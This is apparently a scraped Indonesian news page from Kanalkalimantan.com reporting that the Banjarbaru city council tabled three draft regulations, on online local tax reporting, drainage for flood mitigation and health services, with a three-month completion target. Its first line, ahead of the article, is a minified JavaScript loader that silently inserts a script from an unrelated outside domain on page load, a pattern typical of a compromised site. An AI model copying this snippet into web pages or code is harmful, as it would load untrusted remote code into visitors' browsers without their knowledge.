(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga bulan ke depan oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru.
DPRD Banjarbaru menggelar rapat paripurna dengan agenda penyampaian tiga Raperda inisiatif di graha paripurna gedung DPRD Banjarbaru, Selasa (30/4/2024) siang.
Tiga buah Raperda inisiatif ini ditujukan kepada sejumlah SKPD di lingkup Pemerintah Kota Banjarbaru.
Baca juga: Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan
Ketua DPRD Kota Banjarbaru, Fadliansyah Akbar menyebutkan salah satu Raperda adalah berkaitan dengan sistem pelaporan pajak retribusi daerah.
Fadliansyah menekankan agar seluruh pelaku usaha di Kota Banjarbaru segala hal yang berkaitan dengan retribusi daerah bisa dipungut menggunakan teknologi dengan sistem online
“Kita sampaikan agar pelaporan pajak retribusi daerah memakai sistem online sehingga transparan, bisa terdeteksi dengan sistem jadi tidak ada lagi manual, saya harapkan begitu,” ujar Ketua DPRD Kota Banjarbaru.
DPRD Banjarbaru juga meminta kepada Kepala BPPRD (Badan Pengelolaan Pajak dan Retribusi Daerah) Kota Banjarbaru untuk menyesuaikan mana saja pajak yang bisa diterapkan menggunakan sistem online.
Baca juga: Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas
Terutama sambungnya seperti pajak makanan, pajak parkir, restroran, hotel, hingga pajak hiburan.
“Itu yang kita godok di dalam sistem pelaporan pajak agar pertama meminimalisir kebocoran PAD kita, kemudian bisa melihat transparansi masyarakat dalam membayar pajak,” sebut dia.
Raperda inisiatif yang diajukan dewan mengenai sistem pelayanan drainase yang ada di Kota Banjarbaru.
Yang mana, dikatakan Fadliansyah, Raperda sistem drainase berkaitan penting dengan mitigasi bencana banjir di ibu kota Kalimantan Selatan.
“Saya harapkan kegiatan mitigasi banjir dengan adanya Raperda sistem drainase bisa saling berkesinambungan,” ungkapnya.
Baca juga: Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata
Kemudian Raperda inisiatif ketiga yang diajukan yakni terkait pelayanan kesehatan. Sesuai dengan Undang-Undang, dikatakan, Raperda pelayanan kesehatan diharapkan menjadi payung hukum bagi penyelenggara kesehatan di Kota Banjarbaru.
“Baik itu untuk rumah sakit swasta maupun rumah sakit pemerintah agar mengatur terkait pelayanan kesehatan,” sambung dia.
Lebih lanjut, dijelaskan Fadliansyah, Raperda pelayanan kesehatan telah melalui tahapan-tahapan pembahasan oleh Bappemperda, forum grup diskusi hingga dalam rapat masing-masing panitia khusus (Pansus).
Dirinya optimis dalam tiga bulan ke depan, tiga Raperda inisiatif DPRD Banjarbaru dapat segera terselesaikan.
“Saya targetkan sekitar tiga bulan ini Raperda sudah selesai,” tuntas dia. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.